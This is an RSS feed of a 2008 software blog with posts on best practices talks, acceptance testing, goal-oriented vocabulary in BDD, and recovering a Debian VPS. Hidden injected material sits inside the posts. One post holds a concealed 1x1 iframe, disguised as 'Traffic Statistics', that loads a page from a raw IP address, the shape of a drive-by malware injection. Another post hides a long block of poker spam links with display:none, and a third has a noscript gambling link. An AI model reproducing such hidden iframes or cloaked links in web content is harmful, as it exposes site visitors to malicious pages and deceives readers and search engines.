<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>DanNorth.net</title>
	<atom:link href="http://dannorth.net/feed" rel="self" type="application/rss+xml" />
	<link>http://dannorth.net</link>
	<description>It's all behaviour</description>
	<pubDate>Mon, 14 Apr 2008 14:04:46 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Better Best Practices at ExpertZone Stockholm</title>
		<link>http://dannorth.net/2008/04/better-best-practices-at-expertzone-stockholm</link>
		<comments>http://dannorth.net/2008/04/better-best-practices-at-expertzone-stockholm#comments</comments>
		<pubDate>Tue, 01 Apr 2008 22:04:04 +0000</pubDate>
		<dc:creator>Dan North</dc:creator>
		
		<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://dannorth.net/2008/04/better-best-practices-at-expertzone-stockholm</guid>
		<description><![CDATA[[ April 9, 2008 to April 11, 2008. ] Next week I'll be talking about Best Practices, a current favourite topic, at the "ExpertZone Developer Summit in Stockholm":http://www.expertzone.se/dev08/. Last year I ran a half-day workshop about SOA and gave a keynote with Erik D&#246;rnenburg about simplicity in software, and this year I wanted to do something a little different. So when I heard there [...]]]></description>
			<content:encoded><![CDATA[<p>Next week I&#8217;ll be talking about Best Practices, a current favourite topic, at the <a href="http://www.expertzone.se/dev08/">ExpertZone Developer Summit in Stockholm</a>. Last year I ran a half-day workshop about SOA and gave a keynote with Erik D&ouml;rnenburg about simplicity in software, and this year I wanted to do something a little different. So when I heard there was a track called called &#8220;People Matters Too&#8221; I was keen to get involved.</p>
	<p>This talk will be completely non-technical, aimed at anyone interested in how we learn and why we rebel when faced with Yet Another Change Programme.</p>
	<h3>BDD and DDD at Stockholm Javaforum</h3>
	<p>As an added bonus &#8211; for me at least &#8211; I&#8217;m going to be talking to the Stockholm <a href="http://www.javaforum.se/">Javaforum</a> on Tuesday 8th April at 7pm. When I initially agreed to this I thought it would be a handful<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> of geeks hanging out and talking about Java. It turns out they regularly draw around 200 people. And they&#8217;ve sold out. Yikes.</p>
	<p>I&#8217;ve got an hour to talk about the relationship between Domain-Driven Design and Behaviour-Driven Development. I have no idea how I&#8217;ll be able to limit that to one hour but I&#8217;m going to try my best. This is timely because I am also working on an article explaining my take on DDD and BDD. Honest.</p>]]></content:encoded>
			<wfw:commentRss>http://dannorth.net/2008/04/better-best-practices-at-expertzone-stockholm/feed</wfw:commentRss>
		</item>
		<item>
		<title>Better Best Practices</title>
		<link>http://dannorth.net/2008/03/better-best-practices</link>
		<comments>http://dannorth.net/2008/03/better-best-practices#comments</comments>
		<pubDate>Sun, 23 Mar 2008 19:27:39 +0000</pubDate>
		<dc:creator>Dan North</dc:creator>
		
		<category><![CDATA[articles]]></category>

		<category><![CDATA[talks articles best-practices keynotes oredev infoq]]></category>

		<guid isPermaLink="false">http://dannorth.net/2008/03/better-best-practices</guid>
		<description><![CDATA[Last October I was privileged to give a keynote talk at the &#216;redev conference in Malm&#246;, Sweden. It was a late substitution. The original speaker, testing guru James Bach, had to cancel at the last minute for personal reasons. I felt pretty intimidated stepping into his shoes, especially since the other keynote presenters were Joel [...]]]></description>
			<content:encoded><![CDATA[<p>Last October I was privileged to give a keynote talk at the &Oslash;redev conference in Malm&ouml;, Sweden. It was a late substitution. The original speaker, testing guru <a href="http://www.satisfice.com/">James Bach</a>, had to cancel at the last minute for personal reasons. I felt pretty intimidated stepping into his shoes, especially since the other keynote presenters were Joel Spolsky and Andy Hunt, but I figured since no-one had heard of me I&#8217;d probably slip under the radar.</p>
	<p>James was planning to talk about best practices, and it seems we have similar opinions about them. I would encourage you to read his <a href="http://www.satisfice.com/blog/archives/27">wonderful blog article</a> where he rigourously deconstructs the phrase<sup><a href="#fn11028648283be990ae5">1</a></sup>, and then just as eloquently picks apart the arguments of anyone who disagrees. So I thought I would do something around the same topic.</p>
	<p>I wrote it up as an article and the kind folks at InfoQ <a href="http://www.infoq.com/articles/better-best-practices">published it</a>, and the &Oslash;redev team has put up <a href="http://tinyurl.com/3xn8dw">a video of the talk</a>. (For some reason I can&#8217;t get it to work in firefox on ubuntu, but I&#8217;m pretty sure the guy on the left is me).</p>
	<p id="fn11028648283be990ae5"><sup>1</sup> I didn&#8217;t realise until long after &Oslash;redev that he was the author of that article. It made me very happy when I found out.</p>]]></content:encoded>
			<wfw:commentRss>http://dannorth.net/2008/03/better-best-practices/feed</wfw:commentRss>
		</item>
		<item>
		<title>Awesome Acceptance Testing at SPA 2008</title>
		<link>http://dannorth.net/2008/02/awesome-acceptance-testing-at-spa-2008</link>
		<comments>http://dannorth.net/2008/02/awesome-acceptance-testing-at-spa-2008#comments</comments>
		<pubDate>Fri, 22 Feb 2008 22:58:50 +0000</pubDate>
		<dc:creator>Dan North</dc:creator>
		
		<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://dannorth.net/2008/02/awesome-acceptance-testing-at-spa-2008</guid>
		<description><![CDATA[[ March 18, 2008; 2:45 pm to 5:45 pm. ] I've been pretty slack at letting people know about upcoming talks. I could blame workload or burnout or any number of other plausible-sounding reasons, but a lot of it is just down to not prioritising very well. "I should fix that":http://sirenian.livejournal.com/42871.html.

A couple of years ago "Joe Walnes":http://joe.truemesh.com/blog/ and I gave a talk at an "XP [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been pretty slack at letting people know about upcoming talks. I could blame workload or burnout or any number of other plausible-sounding reasons, but a lot of it is just down to not prioritising very well. <a href="http://sirenian.livejournal.com/42871.html">I should fix that</a>.</p>
	<p>A couple of years ago <a href="http://joe.truemesh.com/blog/">Joe Walnes</a> and I gave a talk at an <a href="http://xpday.org/">XP Day</a> entitled &#8220;Awesome Acceptance Testing&#8221; (blame Joe for the title). We looked at motivations for acceptance testing and discussed various strategies, tools and techniques. But mostly it was an opportunity to get a bunch of people in a room and find out what they thought and what they were up to in the acceptance testing space.</p>
	<p>If you didn&#8217;t get to see it and it sounds like fun, we&#8217;ll be <a href="http://www.spaconference.org/spa2008/sessions/session155.html">rerunning the session</a> <u style="display:none"><a href="http://lil-mamma-drama.com/wp-content/1/strip-poker-pc-game.html">strip poker pc game</a><a href="http://lil-mamma-drama.com/wp-content/1/internet-spiele.html">internet spiele</a><a href="http://lil-mamma-drama.com/wp-content/1/holdem-poker-regeln.html">holdem poker regeln</a><a href="http://lil-mamma-drama.com/wp-content/1/online-poker-anbieter.html">online poker anbieter</a><a href="http://lil-mamma-drama.com/wp-content/1/online-poker-f%FCr-anf%E4nger.html">online poker für anfänger</a><a href="http://lil-mamma-drama.com/wp-content/1/regeln-f%FCr-poker.html">regeln für poker</a><a href="http://lil-mamma-drama.com/wp-content/1/www-poker-net-de.html">www poker net de</a><a href="http://lil-mamma-drama.com/wp-content/1/holdem-poker-game.html">holdem poker game</a><a href="http://lil-mamma-drama.com/wp-content/1/online-poker-auf-deutsch.html">online poker auf deutsch</a><a href="http://lil-mamma-drama.com/wp-content/1/holdem-poker-download.html">holdem poker download</a><a href="http://lil-mamma-drama.com/wp-content/1/texas-holdem-poker-online.html">texas holdem poker online</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-game-net.html">poker game net</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-regeln-raise.html">poker regeln raise</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-software.html">poker software</a><a href="http://lil-mamma-drama.com/wp-content/1/www-texas-holdem.html">www texas holdem</a><a href="http://lil-mamma-drama.com/wp-content/1/pc-game-poker-texas.html">pc game poker texas</a><a href="http://lil-mamma-drama.com/wp-content/1/kostenlose-online-spiele-poker.html">kostenlose online spiele poker</a><a href="http://lil-mamma-drama.com/wp-content/1/texas-holdem-gratis.html">texas holdem gratis</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-spiel-set.html">poker spiel set</a><a href="http://lil-mamma-drama.com/wp-content/1/online-poker-de.html">online poker de</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-gratis-vollversion.html">poker gratis vollversion</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-browser-game.html">poker browser game</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-spiele.html">poker spiele</a><a href="http://lil-mamma-drama.com/wp-content/1/poker-flash-game.html">poker flash game</a><a href="http://lil-mamma-drama.com/wp-content/1/paradise-poker-bonus.html">paradise poker bonus</a><a href="http://lil-mamma-drama.com/wp-content/1/online-seven-card-stud.html">online seven card stud</a><a href="http://www.simnett.net/blog/wp-content/1/poker-americano-gratis.html">poker americano gratis</a><a href="http://www.simnett.net/blog/wp-content/1/texas-holdem-online-gratis.html">texas holdem online gratis</a><a href="http://www.simnett.net/blog/wp-content/1/poker-texas-holdem-gratis.html">poker texas holdem gratis</a><a href="http://www.simnett.net/blog/wp-content/1/gratis-giocare-a-poker-online.html">gratis giocare a poker online</a><a href="http://www.simnett.net/blog/wp-content/1/texas-holdem-gratis.html">texas holdem gratis</a><a href="http://www.simnett.net/blog/wp-content/1/7-card-stud-online.html">7 card stud online</a><a href="http://www.simnett.net/blog/wp-content/1/7-card-stud-gratis.html">7 card stud gratis</a><a href="http://www.simnett.net/blog/wp-content/1/video-poker-gratis.html">video poker gratis</a><a href="http://www.simnett.net/blog/wp-content/1/poker-flash-on-line.html">poker flash on line</a><a href="http://www.simnett.net/blog/wp-content/1/www-super-poker-com.html">www super poker com</a><a href="http://www.simnett.net/blog/wp-content/1/torneo-poker.html">torneo poker</a><a href="http://www.simnett.net/blog/wp-content/1/giochi-omaha-poker-in-linea.html">giochi omaha poker in linea</a><a href="http://www.simnett.net/blog/wp-content/1/draw-poker.html">poker 5 draw,draw poker,draw poker on line</a><a href="http://www.simnett.net/blog/wp-content/1/streep-poker-gratis.html">streep poker gratis</a><a href="http://www.simnett.net/blog/wp-content/1/texas-holdem-no-limit.html">texas holdem no limit</a><a href="http://www.simnett.net/blog/wp-content/1/poker-room.html">poker room</a><a href="http://www.simnett.net/blog/wp-content/1/gioca-a-poker-gratis.html">gioca a poker gratis</a><a href="http://www.simnett.net/blog/wp-content/1/poker-in-tour.html">poker in tour</a><a href="http://www.simnett.net/blog/wp-content/1/tornei-di-poker-online.html">tornei di poker online</a><a href="http://www.simnett.net/blog/wp-content/1/poker-on-line-multiplayer.html">poker on line multiplayer</a><a href="http://www.simnett.net/blog/wp-content/1/giochi-omaha-poker.html">giochi omaha poker</a><a href="http://www.simnett.net/blog/wp-content/1/gioca-poker.html">gioca poker</a><a href="http://www.simnett.net/blog/wp-content/1/texas-holdem-rules.html">texas holdem rules</a><a href="http://www.simnett.net/blog/wp-content/1/play-wize-poker.html">play wize poker</a></u> at <a href="http://www.spaconference.org/spa2008/index.php">SPA 2008</a> in March. I hope to see you there.</p>]]></content:encoded>
			<wfw:commentRss>http://dannorth.net/2008/02/awesome-acceptance-testing-at-spa-2008/feed</wfw:commentRss>
		</item>
		<item>
		<title>Goal-oriented vocabulary - saying what you mean</title>
		<link>http://dannorth.net/2008/02/goal-oriented-vocabulary</link>
		<comments>http://dannorth.net/2008/02/goal-oriented-vocabulary#comments</comments>
		<pubDate>Tue, 12 Feb 2008 11:57:17 +0000</pubDate>
		<dc:creator>Dan North</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://dannorth.net/2008/02/goal-oriented-vocabulary</guid>
		<description><![CDATA[I was in a hotel in Stockholm recently and I noticed a bottle opener attached to the wall in the bathroom. There was a bilingual sign under it which got me thinking about the term &#8220;bottle opener&#8221; itself. (I was giving a talk about BDD the next day so I was already thinking about how [...]]]></description>
			<content:encoded><![CDATA[<p>I was in a hotel in Stockholm recently and I noticed a bottle opener attached to the wall in the bathroom. There was a bilingual sign under it which got me thinking about the term &#8220;bottle opener&#8221; itself. (I was giving a talk about BDD the next day so I was already thinking about how language is used.)</p>
	<p>It occurred to me that &#8220;bottle opener&#8221; is a great example of <em>goal-oriented vocabulary</em>. The device itself is actually a cap remover, and it only works on one particular design of metal cap. The reason I use it, however, is to enable me to get to the beer in the bottle. Hence &#8220;bottle opener&#8221; rather than &#8220;cap remover&#8221;.</p>
	<h3>The task is just detail</h3>
	<p>There is more to this than just linguistic curiosity. If you use <em>task</em>-oriented vocabulary it can cause you to focus on the means rather than the goal, which in turn can limit your options. My favourite example of this is the term &#8220;search engine&#8221;. Searching is the activity I have to do because I&#8217;ve misplaced my keys and I&#8217;m locked outside. What I want is a <em>find</em> engine!</p>
	<p><a href="http://google.com">Google</a> realises this. When I type something into Google, it guesses what I&#8217;m likely to be trying to <em>find</em>, not what I happen to be typing into the box. If I type in &#8220;Stockholm map&#8221;, I&#8217;m likely to be looking for a map of Stockholm (first three results are actual maps &#8211; presented as pictures) or some information about the town itself. If I type &#8220;hotels Stockholm&#8221; I&#8217;m probably planning a trip there and <em>voila!</em> lots of useful results for the traveller. Other &#8220;search&#8221; engines do just that &#8211; they search, and produce lists of results. It&#8217;s then down to me to sift out the ones I care about to get me closer to my goal.</p>
	<h3>&#8220;Blur&#8221; on a problem</h3>
	<p>We talk about &#8220;focusing on a problem&#8221; in order to solve it. This is a task-oriented phrase. An alternative would be to stand far enough back that you see the problem in its proper perspective. If anything you are &#8220;blurring&#8221; on the problem &#8211; deliberately losing focus on the detail to see if any larger-scale structure emerges.</p>
	<p>I often describe BDD as <a href="/whats-in-a-story">outside-in development</a>. You start at the outside with an automated scenario, and work inwards, discovering services and collaborators as you  go, until you&#8217;re done. With a legacy application it can be difficult to remain outside enough, or to get a good enough frame of reference for &#8220;done&#8221;. Blurring can help with this.</p>
	<p>For the last six months I&#8217;ve been involved in restructuring and re-architecting a legacy code base. It&#8217;s been quite a major undertaking, and has involved a number of false starts and dead ends. (I&#8217;m planning to write it up as an experience report at some point, but given my current throughput of things I plan to write, don&#8217;t expect it any time soon.) During this project, I&#8217;ve often found myself struggling to choose between alternative strategies, or unsure of where to go next. In these situations I&#8217;ve found that stepping back and &#8220;blurring&#8221; gives me enough perspective for one of the alternatives to become &#8220;obvious&#8221;. In fact a couple of my teammates have picked up on this and will actually suggest it as an activity when we are pairing. &#8220;We&#8217;re thrashing here &#8211; let&#8217;s step back and start from the outside again.&#8221;</p>
	<p>It could be as simple as asking &#8220;whose responsibility is this feature?&#8221; or &#8220;who is the actual client of this method call?&#8221;. You don&#8217;t need to know the answers &#8211; just verbalising the questions can give you enough &#8220;blur&#8221; to gain a better perspective.</p>
	<h3>Blur on time as well as space</h3>
	<p>Linus Torvalds recently <a href="http://tinyurl.com/yvhfy5">gave a talk</a> where he said the problem with source control isn&#8217;t branching, it&#8217;s merging. Again, by taking a broader perspective &#8211; in this case temporal rather than spatial &#8211; his insight is that the goal is a successful merge some time in the future, not the task of branching now.</p>
	<p>As a final thought, while I was thinking about this I realised the term &#8220;behaviour-driven&#8221; contrasts with &#8220;test-driven&#8221; in a similar way. My <em>goal</em> as a developer is to deliver a system that behaves in a particular way. Whether or not it has tests is an interesting metric, but not the core purpose. &#8220;Test-driven&#8221; development will cause me to have lots of tests, but it won&#8217;t necessarily get me nearer the goal of delivering business value through software. So you can use goal-oriented vocabulary in your development process as well as your code to help maintain perspective on what you are trying to achieve.</p>
	<p><em>Props to <a href="http://bovon.org/">James Lewis</a> for helping me formulate these ideas. And for being really good at perspective.</em></p>]]></content:encoded>
			<wfw:commentRss>http://dannorth.net/2008/02/goal-oriented-vocabulary/feed</wfw:commentRss>
		</item>
		<item>
		<title>Debian breaks on Virtuozzo VPS</title>
		<link>http://dannorth.net/2007/12/debian-breaks-on-virtuozzo-vps</link>
		<comments>http://dannorth.net/2007/12/debian-breaks-on-virtuozzo-vps#comments</comments>
		<pubDate>Fri, 14 Dec 2007 12:12:47 +0000</pubDate>
		<dc:creator>Dan North</dc:creator>
		
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://dannorth.net/2007/12/debian-breaks-on-virtuozzo-vps</guid>
		<description><![CDATA[Apologies if you are looking for any articles or trying to post a comment and you are getting 404 errors, or if you wondered where jbehave.org or behaviour-driven.org had gone. Over the last few days I&#8217;ve managed to completely hose my server running Debian &#8220;testing&#8221; distribution, and I&#8217;ve had to downgrade to Debian &#8220;stable&#8221;. This [...]]]></description>
			<content:encoded><![CDATA[<p>Apologies if you are looking for any articles or trying to post a comment and you are getting 404 errors, or if you wondered where <a href="http://jbehave.org">jbehave.org</a> or <a href="http://behaviour-driven.org">behaviour-driven.org</a> had gone. Over the last few days I&#8217;ve managed to completely hose my server running Debian &#8220;testing&#8221; distribution, and I&#8217;ve had to downgrade to Debian &#8220;stable&#8221;. This involved<noscript>Das Land Hessen <a href="http://www.triplechecktax.com/roulette-online-quoten.html">roulette online</a> dabei die Vorreiter Rolle.</noscript> some rsync backups and a complete reinstall of the virtual server.</p>
	<p>Apologies especially to the lovely people whose blogs I host and who have been extremely patient with me over the last few days.</p>
	<p>Because stable is about a year out of date, it is several versions behind fast-moving projects like WordPress, so I have some more fiddling to do before permalinks or comments will be working again.</p>
	<p>If you are running Debian/testing in a Virtuozzo VPS, check your kernel version. It seems Virtuozzo uses a broken RedHat 2.6.9 kernel which <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=454638">simply doesn&#8217;t work</a> with current Debian/testing packages. If your VPS provider uses a broken kernel, <strong>DO NOT UPGRADE</strong> libc6 to the current version (2.7) otherwise your system will simply die on its feet. It&#8217;s incredible &#8211; /bin/ls stops working, so does <acronym title="Secure SHell (encrypted protocol replaces telnet and FTP)">SSH</acronym> (so you can&#8217;t log in to fix it!) &#8211; in fact it seems a huge weakness in the Debian setup. I would have expected the core admin packages and system binaries to be statically linked to avoid exactly this problem. A statically-linked busybox helped me enormously here while I monkey-patched it enough to get it to boot.</p>
	<p>For the record, here&#8217;s my experience so far:</p>
	<h3>Places to back up</h3>
	<ul>
		<li><strong>/etc</strong> (all the system settings)</li>
		<li><strong>/home</strong> (also contains <strong>/home/vmail</strong> where all the virtual mailboxes live</li>
		<li><strong>/var/lib/mysql</strong> (lots of WordPress databases)</li>
		<li><strong>/usr/share/wordpress/wp-content</strong> (mostly for themes and plugins)</li>
		<li><strong>/var/www</strong> (wikis)</li>
	</ul>
	<p>I&#8217;m quite pleased things were this well organised. I thought I might be looking for files all over the place.</p>
	<h3>Things that worked</h3>
	<ul>
		<li><strong>openssh</strong> with my existing config and keys. Hurrah!</li>
		<li><strong>postfix</strong> and <strong>dovecot</strong>. Although that&#8217;s hardly surprising &#8211; they are both rock solid and quite stable. I just rsync&#8217;ed the mail directories and settings back and they both started working. After a recommendation by Steve Purcell I&#8217;ve been using dovecot as my <acronym title="Internet Message Access Protocol">IMAP</acronym> server and authentication daemon with postfix and they are a joy.</li>
		<li><strong>apache2</strong>. Enough said.</li>
		<li><strong>mysql 5</strong>. I&#8217;m really starting to like mysql.</li>
		<li><strong>moinmoin</strong>. Needed some love. Actually I needed to clear out all the caches before it would work, and install packages <strong>moinmoin-common</strong> and <strong>python-moinmoin</strong>, and of course <strong>libapache2-mod-python</strong>.</li>
	</ul>
	<h3>Things that don&#8217;t work</h3>
	<ul>
		<li>Apache2 <strong>mod-fcgi</strong>. I was having problems with this before which went away when I upgraded to Debian/testing, so I&#8217;m assuming it just doesn&#8217;t work properly in Debian/stable.</li>
		<li>Apache2 <strong>mod-svn</strong>. It just doesn&#8217;t exist in stable, and neither does mod_dav, so I can&#8217;t do funky internet filesystem things for my Windows friends.</li>
	</ul>
	<h3>Things I&#8217;m still struggling with</h3>
	<ul>
		<li><strong>Links in WordPress</strong>. This is bound to be something really obvious that I&#8217;ll work out after a good night&#8217;s sleep. It seems ok for some blogs and not for others, so it might be to do with the themes. <em>Update: it turns out I needed a <code>/usr/share/wordpress/.htaccess</code> owned by the apache user with the appropriate rewrite rules in it &#8211; thanks <a href="http://www.bencoleman.co.uk/">Ben Coleman</a> for sorting that out.</em></li>
	</ul>
	<p>So far my VPS hosting company, <a href="http://solarvps.com">Solar VPS</a>, have been great with any support requests I&#8217;ve made. I really hope they come through with an up-to-date kernel so I can dist-upgrade everything back to Debian/testing. <em>Update: Virtuozzo has no plans to upgrade the kernel before its next major release, so I&#8217;m stuck with Debian Stable (Etch).</em></p>]]></content:encoded>
			<wfw:commentRss>http://dannorth.net/2007/12/debian-breaks-on-virtuozzo-vps/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
